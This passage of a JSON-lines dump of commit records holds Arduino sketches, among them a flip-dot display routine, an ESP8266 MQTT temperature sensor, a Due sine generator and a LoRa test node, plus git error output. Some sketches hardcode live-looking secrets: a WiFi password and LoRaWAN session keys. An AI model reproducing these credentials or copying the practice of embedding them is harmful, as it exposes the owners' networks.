y0+11); \n resetDot(x0+7, y0+14); \n\n resetDot(x0+8, y0); \n resetDot(x0+8, y0+5);\n resetDot(x0+8, y0+6);\n resetDot(x0+8, y0+7); \n resetDot(x0+8, y0+11); \n resetDot(x0+8, y0+14); \n\n resetDot(x0+9, y0); \n resetDot(x0+9, y0+5);\n resetDot(x0+9, y0+8);\n resetDot(x0+9, y0+11); \n resetDot(x0+9, y0+14); \n\n resetDot(x0+10, y0+1); \n resetDot(x0+10, y0+5);\n resetDot(x0+10, y0+7); \n resetDot(x0+10, y0+8);\n resetDot(x0+10, y0+10); \n resetDot(x0+10, y0+13); \n\n resetDot(x0+11, y0+1); \n resetDot(x0+11, y0+5);\n resetDot(x0+11, y0+6); \n resetDot(x0+11, y0+7); \n resetDot(x0+11, y0+8);\n resetDot(x0+11, y0+13); \n\n resetDot(x0+12, y0+2); \n resetDot(x0+12, y0+5);\n resetDot(x0+12, y0+6); \n resetDot(x0+12, y0+7); \n resetDot(x0+12, y0+12); \n\n resetDot(x0+13, y0+3); \n resetDot(x0+13, y0+4);\n resetDot(x0+13, y0+5); \n resetDot(x0+13, y0+10); \n resetDot(x0+13, y0+11); \n\n resetDot(x0+14, y0+5); \n resetDot(x0+14, y0+6);\n resetDot(x0+14, y0+7); \n resetDot(x0+14, y0+8); \n resetDot(x0+14, y0+9); \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'uno\/FlipDot\/FlipDot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ae731a5ba1971d9ac53a44330634eb264beb1a26","subject":"Added closet_mote_v0_1","message":"Added closet_mote_v0_1\n","repos":"brulejr\/sketchbook,brulejr\/sketchbook","old_file":"closet_mote_v0_1\/closet_mote_v0_1.ino","new_file":"closet_mote_v0_1\/closet_mote_v0_1.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <Wire.h>\n#include <PubSubClient.h>\n\n#define wifi_ssid \"brulenet\"\n#define wifi_password \"01266606296606269306260626\"\n\n#define mqtt_server \"mqtt.dev.brule.net\"\n#define mqtt_user \"\"\n#define mqtt_password \"\"\n\n#define TMP36_PIN A0\n#define temperature_topic \"sensor\/temperature\"\n\nWiFiClient espClient;\nPubSubClient client(espClient);\n\nunsigned long previousMillis = 0; \/\/ will store last temp was read\nconst long interval = 10000; \/\/ interval at which to read sensor\n\nvoid setup() {\n Serial.begin(115200);\n setup_wifi();\n client.setServer(mqtt_server, 1883);\n}\n\nvoid setup_wifi() {\n delay(10);\n \/\/ We start by connecting to a WiFi network\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(wifi_ssid);\n\n WiFi.begin(wifi_ssid, wifi_password);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\nvoid reconnect() {\n \/\/ Loop until we're reconnected\n while (!client.connected()) {\n Serial.print(\"Attempting MQTT connection...\");\n \/\/ Attempt to connect\n \/\/ If you do not want to use a username and password, change next line to\n \/\/ if (client.connect(\"ESP8266Client\")) {\n if (client.connect(\"ESP8266Client\", mqtt_user, mqtt_password)) {\n Serial.println(\"connected\");\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n}\n\nvoid loop() {\n if (!client.connected()) {\n reconnect();\n }\n client.loop();\n\n gettemperature();\n}\n\nvoid gettemperature() {\n \/\/ Wait at least 2 seconds seconds between measurements.\n \/\/ if the difference between the current time and last time you read\n \/\/ the sensor is bigger than the interval you set, read the sensor\n \/\/ Works better than delay for things happening elsewhere also\n unsigned long currentMillis = millis();\n \n if(currentMillis - previousMillis >= interval) {\n \/\/ save the last time you read the sensor \n previousMillis = currentMillis; \n\n int reading = analogRead(TMP36_PIN);\n float voltage = reading * 3.3;\n voltage \/= 1024.0; \n\n Serial.print(voltage); Serial.println(\" volts\");\n\n \/\/ now print out the temperature\n float temperatureC = (voltage - 0.5) * 100 ; \/\/converting from 10 mv per degree wit 500 mV offset\n \/\/to degrees ((voltage - 500mV) times 100)\n Serial.print(temperatureC); Serial.println(\" degrees C\");\n \n \/\/ now convert to Fahrenheit\n float temperatureF = (temperatureC * 9.0 \/ 5.0) + 32.0;\n Serial.print(temperatureF); Serial.println(\" degrees F\");\n\n client.publish(temperature_topic, String(temperatureF).c_str(), true);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'closet_mote_v0_1\/closet_mote_v0_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"00a3f0ed614e04f5939cc16822a86bc5533ff894","subject":"Add files via upload","message":"Add files via upload\n\nThis generates sin-cosine waves on an Arduino Due at controlled frequencies.","repos":"Rogers-Lab\/lab-programs,Rogers-Lab\/lab-programs","old_file":"Timer_Dac_Pdc_500k_quadMode_1b.ino","new_file":"Timer_Dac_Pdc_500k_quadMode_1b.ino","new_contents":"\/*\n Arduino DUE sine \/ cosine generator\n\n Dac-0 outputs sine wave, and dac-1 consequently cosine.\n Frequency may be changed via serial monitor, format of the command line:\n \"nnnnnnf\", where nnnnn is any number in 21 - 199 999 range (Hz)\n and \"f\" is a letter for frequency.\n You may need some kind of an analog filter circuits, especially \n when upper end of the frequency range is in use. \n \n created 25 May 2016\n by Anatoly Kuzmenko\n k_anatoly@hotmail.com\n \n This example code is in the public domain.\n *\/\n\n#define NWAVE 80\n\nuint32_t Sinewave[3][2][NWAVE] = {\n {\n { \/\/ 0 - 10 kHz\n0x1FFF0800,0x1FF908A1,0x1FE60940,0x1FC609DE,0x1F9B0A79,0x1F630B0F,0x1F200BA1,0x1ED10C2E,0x1E780CB3,0x1E150D31,0x1DA70DA7,0x1D310E15,0x1CB30E78,0x1C2E0ED1,0x1BA10F20,0x1B0F0F63,\n0x1A790F9B,0x19DE0FC6,0x19400FE6,0x18A10FF9,0x18000FFF,0x175F0FF9,0x16C00FE6,0x16220FC6,0x15870F9B,0x14F10F63,0x145F0F20,0x13D20ED1,0x134D0E78,0x12CF0E15,0x12590DA7,0x11EB0D31,\n0x11880CB3,0x112F0C2E,0x10E00BA1,0x109D0B0F,0x10650A79,0x103A09DE,0x101A0940,0x100708A1,0x10010800,0x1007075F,0x101A06C0,0x103A0622,0x10650587,0x109D04F1,0x10E0045F,0x112F03D2,\n0x1188034D,0x11EB02CF,0x12590259,0x12CF01EB,0x134D0188,0x13D2012F,0x145F00E0,0x14F1009D,0x15870065,0x1622003A,0x16C0001A,0x175F0007,0x18000001,0x18A10007,0x1940001A,0x19DE003A,\n0x1A790065,0x1B0F009D,0x1BA100E0,0x1C2E012F,0x1CB30188,0x1D3101EB,0x1DA70259,0x1E1502CF,0x1E78034D,0x1ED103D2,0x1F20045F,0x1F6304F1,0x1F9B0587,0x1FC60622,0x1FE606C0,0x1FF9075F\n },\n {\n0x1FFF0800,0x1FF908A1,0x1FE60940,0x1FC609DE,0x1F9B0A79,0x1F630B0F,0x1F200BA1,0x1ED10C2E,0x1E780CB3,0x1E150D31,0x1DA70DA7,0x1D310E15,0x1CB30E78,0x1C2E0ED1,0x1BA10F20,0x1B0F0F63,\n0x1A790F9B,0x19DE0FC6,0x19400FE6,0x18A10FF9,0x18000FFF,0x175F0FF9,0x16C00FE6,0x16220FC6,0x15870F9B,0x14F10F63,0x145F0F20,0x13D20ED1,0x134D0E78,0x12CF0E15,0x12590DA7,0x11EB0D31,\n0x11880CB3,0x112F0C2E,0x10E00BA1,0x109D0B0F,0x10650A79,0x103A09DE,0x101A0940,0x100708A1,0x10010800,0x1007075F,0x101A06C0,0x103A0622,0x10650587,0x109D04F1,0x10E0045F,0x112F03D2,\n0x1188034D,0x11EB02CF,0x12590259,0x12CF01EB,0x134D0188,0x13D2012F,0x145F00E0,0x14F1009D,0x15870065,0x1622003A,0x16C0001A,0x175F0007,0x18000001,0x18A10007,0x1940001A,0x19DE003A,\n0x1A790065,0x1B0F009D,0x1BA100E0,0x1C2E012F,0x1CB30188,0x1D3101EB,0x1DA70259,0x1E1502CF,0x1E78034D,0x1ED103D2,0x1F20045F,0x1F6304F1,0x1F9B0587,0x1FC60622,0x1FE606C0,0x1FF9075F\n }\n },\n {\n {\/\/ 10 - 100 kHz\n0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,\n0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,\n0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,\n0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,\n0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259\n },\n {\n0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,\n0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,\n0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,\n0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,\n0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259,0x1FFF0800,0x1DA70DA7,0x18000FFF,0x12590DA7,0x10010800,0x12590259,0x18000001,0x1DA70259\n }\n },\n {\n {\/\/ 100 - 200 kHz\n0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,\n0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,\n0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,\n0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,\n0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001\n },\n {\n0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,\n0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,\n0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,\n0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,\n0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001,0x1FFF0800,0x18000FFF,0x10010800,0x18000001\n }\n }\n};\n\n int fast_mode = 0;\n int freq_inhz = 1000; \/\/ Default Hz\n int freq_intc = 0; \n int user_intf = 0;\n\nvolatile uint16_t sptr = 0;\n\nvoid setup()\n{\n Serial.begin (115200); \n dac_setup(); \n freq_intc = freqToTc(freq_inhz);\n TC_setup(); \n setup_pio_TIOA0(); \n}\n\nint tcToFreq( int tc_cntr)\n{\n int freq_hz; \n\n if( tc_cntr == 0 ) return 1000;\n\n if( fast_mode ) freq_hz = (420000000UL \/ tc_cntr) \/ (2 * NWAVE); \n else freq_hz = ( 42000000UL \/ tc_cntr) \/ (2 * NWAVE);\n\n if( fast_mode == 2 ) freq_hz *= 2;\n\n return freq_hz; \n}\n\nint freqToTc( int freq_hz)\n{\n int tc_cntr = 0;\n\n if( freq_hz == 0 ) return 25;\n\n if( fast_mode == 0 ) tc_cntr = ( 42000000UL \/ freq_hz) \/ (2 * NWAVE);\n if( fast_mode == 1 ) tc_cntr = ( 420000000UL \/ freq_hz) \/ (2 * NWAVE); \n if( fast_mode == 2 ) tc_cntr = ( 840000000UL \/ freq_hz) \/ (2 * NWAVE); \n\n return tc_cntr;\n}\n\nvoid loop() \n{\n char in_Byte;\n int temp;\n \n if (Serial.available() > 0) {\n in_Byte = Serial.read();\n \/\/ Message Format To Set Frequency: 1000f + \"send\".\n if((in_Byte >= '0') && (in_Byte <= '9')) \n {\n user_intf = (user_intf * 10) + (in_Byte - '0'); \n }\n else\n { \n if (in_Byte == 'f') \/\/ end delimiter \n {\n \/\/if ((user_intf > 20) && (user_intf < 200000)) \n if ((user_intf > 0) && (user_intf < 200000)) \n {\n freq_inhz = user_intf;\n fast_mode = 0;\n if( freq_inhz > 10000 ) fast_mode = 1;\n if( freq_inhz > 100000 ) fast_mode = 2;\n \n freq_intc = freqToTc(freq_inhz);\n TC_setup(); \n Serial.print(\"Fast Mode = \");\n Serial.println(fast_mode, DEC); \n Serial.print(\"freq_inhz = \");\n Serial.println(freq_inhz, DEC); \n Serial.print(\"freq_intc = \");\n Serial.println(freq_intc, DEC); \n Serial.print(\"approximation = \");\n temp = tcToFreq(freq_intc);\n Serial.println(temp, DEC); \n }\n user_intf = 0; \/\/ reset to 0 ready for the next sequence of digits\n } \n }\n }\n}\n\nvoid DACC_Handler(void)\n{\n if((dacc_get_interrupt_status(DACC) & DACC_ISR_ENDTX) == DACC_ISR_ENDTX) {\n ++sptr; \n sptr &= 0x01;\n DACC->DACC_TNPR = (uint32_t) Sinewave[fast_mode][sptr]; \/\/ next DMA buffer\n DACC->DACC_TNCR = NWAVE;\n }\n}\n\nvoid setup_pio_TIOA0() \n{\n PIOB->PIO_PDR = PIO_PB25B_TIOA0; \n PIOB->PIO_IDR = PIO_PB25B_TIOA0; \n PIOB->PIO_ABSR |= PIO_PB25B_TIOA0;\n}\n\n\nvoid TC_setup ()\n{\n pmc_enable_periph_clk(TC_INTERFACE_ID + 0 *3 + 0); \n\n TcChannel * t = &(TC0->TC_CHANNEL)[0]; \n t->TC_CCR = TC_CCR_CLKDIS; \n t->TC_IDR = 0xFFFFFFFF; \n t->TC_SR; \n t->TC_CMR = TC_CMR_TCCLKS_TIMER_CLOCK1 | \n TC_CMR_WAVE | \n TC_CMR_WAVSEL_UP_RC | \n TC_CMR_EEVT_XC0 | \n TC_CMR_ACPA_CLEAR | TC_CMR_ACPC_CLEAR |\n TC_CMR_BCPB_CLEAR | TC_CMR_BCPC_CLEAR;\n \n t->TC_RC = freq_intc;\n t->TC_RA = freq_intc \/2; \n t->TC_CMR = (t->TC_CMR & 0xFFF0FFFF) | TC_CMR_ACPA_CLEAR | TC_CMR_ACPC_SET; \n t->TC_CCR = TC_CCR_CLKEN | TC_CCR_SWTRG; \n}\n\nvoid dac_setup ()\n{\n pmc_enable_periph_clk (DACC_INTERFACE_ID) ; \/\/ start clocking DAC\n dacc_reset(DACC);\n\/\/ dacc_set_transfer_mode(DACC, 0);\n dacc_set_transfer_mode(DACC, 1); \/\/ word trasfer mode\n \n dacc_set_power_save(DACC, 0, 1); \/\/ sleep = 0, fastwkup = 1\n dacc_set_analog_control(DACC, DACC_ACR_IBCTLCH0(0x02) | DACC_ACR_IBCTLCH1(0x02) | DACC_ACR_IBCTLDACCORE(0x01));\n dacc_set_trigger(DACC, 1);\n \n dacc_enable_channel(DACC, 1);\n\/\/ dacc_set_channel_selection(DACC, 0);\n dacc_enable_channel(DACC, 0);\n dacc_enable_flexible_selection(DACC);\n\n NVIC_DisableIRQ(DACC_IRQn);\n NVIC_ClearPendingIRQ(DACC_IRQn);\n NVIC_EnableIRQ(DACC_IRQn);\n dacc_enable_interrupt(DACC, DACC_IER_ENDTX);\n\n DACC->DACC_TPR = (uint32_t) Sinewave[fast_mode][0]; \/\/ DMA buffer\n DACC->DACC_TCR = NWAVE;\n DACC->DACC_TNPR = (uint32_t) Sinewave[fast_mode][1]; \/\/ next DMA buffer\n DACC->DACC_TNCR = NWAVE;\n DACC->DACC_PTCR = 0x00000100; \/\/TXTEN - 8, RXTEN - 1.\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Timer_Dac_Pdc_500k_quadMode_1b.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9dfea9a39c2685632d29f6e6890a446791a9552c","subject":"nichtstabil","message":"nichtstabil\n","repos":"guitar-hero\/lora-post","old_file":"lora-post-test-node\/Arduino\/TestBeni\/TestBeni.ino","new_file":"lora-post-test-node\/Arduino\/TestBeni\/TestBeni.ino","new_contents":"#include \"TheThingsUno.h\"\n\/*#include <SoftwareSerial.h>\n\nSoftwareSerial mySerial(10, 11); \/\/ RX, TX*\/\nString inString = \"\";\n\n\n\/\/ Set your DevAddr\nconst byte devAddr[4] = {0x01, 0x61, 0xB5, 0xFB}; \/\/for example: {0x02, 0xDE, 0xAE, 0x00};\n\n\/\/ Set your NwkSKey and AppSKey\nconst byte nwkSKey[16] = {0x05, 0xED, 0x38, 0x5B, 0xF7, 0x83, 0xAA, 0x99, 0x98, 0x99, 0x29, 0xCA, 0xD7, 0x51, 0xA7, 0xF6}; \/\/for example: {0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0xD2, 0xA6, 0xAB, 0xF7, 0x15, 0x88, 0x09, 0xCF, 0x4F, 0x3C};\nconst byte appSKey[16] = {0x20, 0x49, 0x5A, 0x2B, 0x18, 0xD4, 0xDB, 0x74, 0x20, 0x85, 0xFA, 0x4F, 0xA9, 0x7F, 0xB8, 0x60}; \/\/for example: {0x2B, 0x7E, 0x15, 0x16, 0x28, 0xAE, 0xD2, 0xA6, 0xAB, 0xF7, 0x15, 0x88, 0x09, 0xCF, 0x4F, 0x3C};\n\n#define debugSerial Serial\n#define loraSerial Serial1\n\n#define debugPrintLn(...) { if (debugSerial) debugSerial.println(__VA_ARGS__); }\n#define debugPrint(...) { if (debugSerial) debugSerial.print(__VA_ARGS__); }\n\nTheThingsUno ttu;\n\nvoid setup()\n{\n debugSerial.begin(115200);\n\n loraSerial.begin(57600);\n\/\/ Serial.begin(57600);\n\/\/ while (!Serial) {\n\/\/ ; \/\/ wait for serial port to connect. Needed for native USB port only\n\/\/ }\n delay(3000);\n \/\/Start Einstellungen:\n ttu.init(loraSerial, debugSerial);\n ttu.reset();\n ttu.personalize(devAddr, nwkSKey, appSKey);\n ttu.showStatus();\n\n\n debugPrintLn(\"Setup for The Things Network complete\");\n\n\/\/ ttu.sendCommand(\"mac set ch dcycle 0 99\"); \/\/<dutyCycle> = (100\/X) \u2013 1\n\/\/ ttu.sendCommand(\"mac set ch dcycle 1 99\");\n\/\/ ttu.sendCommand(\"mac set ch drrange 1 0 7\");\n\/\/ ttu.sendCommand(\"mac set ch dcycle 2 99\");\n\/\/ ttu.sendCommand(\"mac set ch freq 3 868850000\");\n\/\/ ttu.sendCommand(\"mac set ch dcycle 3 999\");\n\/\/ ttu.sendCommand(\"mac set ch drrange 3 0 5\");\n\/\/ ttu.sendCommand(\"mac set ch status 3 on\");\n\/\/ ttu.sendCommand(\"mac set ch freq 4 869050000\");\n\/\/ ttu.sendCommand(\"mac set ch drrange 4 0 5\");\n\/\/ ttu.sendCommand(\"mac set ch status 4 on\");\n\/\/ ttu.sendCommand(\"mac set ch freq 5 869525000\");\n\/\/ ttu.sendCommand(\"mac set ch dcycle 5 9\");\n\/\/ ttu.sendCommand(\"mac set ch drrange 5 0 5\");\n\/\/ ttu.sendCommand(\"mac set ch status 5 on\");\n\/\/ ttu.sendCommand(\"mac save\");\n \/\/delay(4000);\n\n}\n\n\nvoid loop() {\n\n\n \/\/Chanal \u00e4ndern\n \/\/String inString = \"00,500,10\"; \/\/ Testnummer, Counter, Scenario\n\/*\n if (mySerial.available()) {\n Serial.write(mySerial.read());\n }\n if (Serial.available()) {\n mySerial.write(Serial.read());\n }\n delay(500);\n Serial.println(\"Half a second later\");\n\n inString = Serial.readString();\n if(inString) {\n Serial.println(\"Input: \" + inString);\n }\n\n *\/\n ttu.sendString(\"Input: \" + String(inString));\n \/\/ if (Serial.available() > 0) {\n \/\/ int inChar = Serial.read();\n \/\/ if (isDigit(inChar)) {\n \/\/ \/\/ convert the incoming byte to a char\n \/\/ \/\/ and add it to the string:\n \/\/ inString += (char)inChar;\n \/\/ }\n \/\/ Input: x,y,z\n String temp1 = inString.substring(inString.indexOf(',') + 1); \/\/ ,y,x\n String testnr = inString.substring(0, inString.indexOf(',')); \/\/x\n\n String temp2 = temp1.substring(temp1.indexOf(',') + 1); \/\/x\n String counter = temp1.substring(0, temp1.indexOf(',')); \/\/Testnummer :12 Temp1 : 34, 56 Counter :34 Temp2 : 56 Scenario : 56\n\n String scenario = temp2;\n \/\/ Serial.println( \"Testnummer \" + testnr + \" Counter \" + counter + \" Scenario \" + scenario);\n \/\/ }\n\n int dr = -1;\n switch (scenario.toInt()) {\n case 7:\n dr = 5;\n break;\n case 8:\n dr = 4;\n break;\n case 9:\n dr = 3;\n break;\n case 10:\n dr = 2;\n break;\n case 11:\n dr = 1;\n break;\n case 12:\n dr = 0;\n break;\n default:\n debugPrintLn(\"Invalid SF\")\n break;\n }\n if (dr > -1)\n\n\n { \/\/ttu.sendCommand(\"mac set dr \" + String(dr));}\n\n }\n ttu.sendCommand(\"mac set retx 0\");\n ttu.sendCommand(\"mac set upctr \" + String(counter) );\n \/\/ttu.sendCommand(\"mac tx cnf 4 \" + testnr );\n\n ttu.sendString(\"Team Rocket\");\n\n delay(4000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lora-post-test-node\/Arduino\/TestBeni\/TestBeni.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d9408e7a4f2936435f81abfa19cd19e78221a780","subject":"add bandGap demo sketch","message":"add bandGap demo sketch\n","repos":"jcw\/jeelib,jcw\/jeelib","old_file":"examples\/Ports\/bandgap\/bandgap.ino","new_file":"examples\/Ports\/bandgap\/bandgap.ino","new_contents":"\/\/ Try reading the bandgap reference voltage to measure current VCC voltage.\n\/\/ 2012-04-22 <jc@wippler.nl> http:\/\/opensource.org\/licenses\/mit-license.php\n\nstatic int vccRead (byte us =250) {\n analogRead(6); \/\/ set up \"almost\" the proper ADC readout\n bitSet(ADMUX, 3); \/\/ then fix it to switch to channel 14\n delayMicroseconds(us); \/\/ delay substantially improves accuracy\n bitSet(ADCSRA, ADSC);\n\twhile (bit_is_set(ADCSRA, ADSC))\n\t ;\n word x = ADC;\n return x ? (1100L * 1023) \/ x : -1;\n}\n\nvoid setup() {\n Serial.begin(57600);\n Serial.println(\"\\n[bandgap]\");\n}\n\nvoid loop() { \n analogRead(0); \/\/ just to check that it doesn't affect result\n Serial.println(vccRead());\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Ports\/bandgap\/bandgap.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"5d34e55054f08af64e9b2af9851935800427211f","subject":"updated documentation","message":"updated documentation\n","repos":"relayr\/Arduino-Bridge-Library","old_file":"examples\/BridgeCloudConnection\/BridgeCloudConnection.ino","new_file":"examples\/BridgeCloudConnection\/BridgeCloudConnection.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/relayr\/Arduino-Bridge-Library.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"284871b469697cd09ee7d6b33922c945bbad663f","subject":"hmm, this sseems to work","message":"hmm, this sseems to work\n\nat least the movements are correctly added \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC4361.ino","new_file":"ArduinoClient\/TMC4361.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"732de16001bfbb6ac5b2d6b8dc88fcad1da22517","subject":"add arduino sketch","message":"add arduino sketch\n","repos":"thintsa\/rotating-target-controller","old_file":"Bluetooth_servo.ino","new_file":"Bluetooth_servo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/thintsa\/rotating-target-controller.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"94a772433ae45619646ca84be54bbdedf342d4f0","subject":"Create modem_mqtt.ino","message":"Create modem_mqtt.ino","repos":"brianrho\/SIM800-for-TCP","old_file":"examples\/modem_mqtt\/modem_mqtt.ino","new_file":"examples\/modem_mqtt\/modem_mqtt.ino","new_contents":"#include <SoftwareSerial.h>\n#include \"sim800_mqtt.h\"\n#include \"Adafruit_MQTT.h\"\n\nSoftwareSerial ss = SoftwareSerial(6, 7);\n\nModem modem = Modem(4); \/\/RST\n\n \/\/ Optionally configure a GPRS APN, username, and password.\n \/\/ You might need to do this to access your network's GPRS\/data\n \/\/ network. Contact your provider for the exact APN, username,\n \/\/ and password values. Username and password are optional and\n \/\/ can be removed, but APN is required.\n#define APN \"web.gprs.mtnnigeria.net\"\n\n#define SERVER \"cloud.nodewire.org\"\n#define SERVERPORT 1883\n\n\/\/ Setup the SIM800 MQTT class by passing in the Modem object and MQTT server and login details.\nModem_MQTT mqtt(&modem, SERVER, SERVERPORT, \"arduinoClient\");\n\n\/\/ You don't need to change anything below this line!\n#define halt(s) { Serial.println(F( s )); while(1); }\n\n\/\/ modemSetup is a helper function that sets up the SIM800 and connects to\n\/\/ the GPRS network. See the modemHelper.cpp tab above for the source!\nboolean modemSetup(const __FlashStringHelper *apn);\n\n\/****************************** Feeds ***************************************\/\n\nAdafruit_MQTT_Subscribe iot_in = Adafruit_MQTT_Subscribe(&mqtt, \"sadiqahmad2\/#\");\n\n\/*************************** Sketch Code ************************************\/\n\nvoid setup() {\n while (!Serial);\n\n \/\/ Watchdog is optional!\n \/\/Watchdog.enable(8000);\n \n Serial.begin(9600);\n\n Serial.println(F(\"SIM800 MQTT demo\")); \n \n \/\/ Initialise the modem\n while (! modemSetup(F(APN))) {\n Serial.println(\"Retrying modem\");\n }\n\n Serial.println(F(\"Connected to Cellular!\"));\n\n mqtt.subscribe(&iot_in);\n Serial.println(\"Subscribed to sadiqahmad\/#\");\n \n \/\/Watchdog.reset();\n delay(5000); \/\/ wait a few seconds to stabilize connection\n \/\/Watchdog.reset();\n}\n\nvoid loop() {\n \/\/ Make sure to reset watchdog every loop iteration!\n \/\/Watchdog.reset();\n\n \/\/ Ensure the connection to the MQTT server is alive (this will make the first\n \/\/ connection and automatically reconnect when disconnected). See the MQTT_connect\n \/\/ function definition further below.\n MQTT_connect();\n\n \/\/Watchdog.reset(); \n \/\/ this is our 'wait for incoming subscription packets' busy subloop\n Adafruit_MQTT_Subscribe *subscription;\n while ((subscription = mqtt.readSubscription(5000))) {\n if 